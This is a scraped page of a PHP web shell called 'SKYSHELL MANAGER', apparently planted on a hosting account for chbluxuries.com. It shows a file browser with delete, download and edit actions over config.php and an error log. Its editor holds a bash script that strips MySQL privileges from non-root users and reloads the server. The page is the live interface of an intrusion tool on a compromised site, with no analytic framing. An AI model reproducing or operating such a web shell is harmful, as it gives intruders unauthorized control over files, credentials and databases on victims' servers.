📁
ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
21019.38 KB
0644
🗑️
⬇️
✏️
🔒
Editing: cleanupmysqlprivs
#!/bin/bash BINARY=$(which mysql 2>/dev/null) [[ -h $BINARY || -z $BINARY ]] && BINARY=$(which mariadb) echo -n "Cleaning up mysql privs. Please ignore errors about non-existent columns as you may have an older version of mysql....." $BINARY -v -f mysql <<EOM UPDATE user SET Create_priv='N' WHERE Create_priv='Y' AND User != 'root'; UPDATE user SET Create_tmp_table_priv='N' WHERE Create_tmp_table_priv='Y' AND User != 'root'; UPDATE user SET Lock_tables_priv='N' WHERE Lock_tables_priv='Y' AND User != 'root'; UPDATE user SET Execute_priv='N' WHERE Execute_priv='Y' AND User != 'root'; EOM ADMIN=$(which mysqladmin 2>/dev/null) [[ -h $ADMIN || -z $ADMIN ]] && ADMIN=$(which mariadb-admin) $ADMIN reload echo "Done."
💾 Save Changes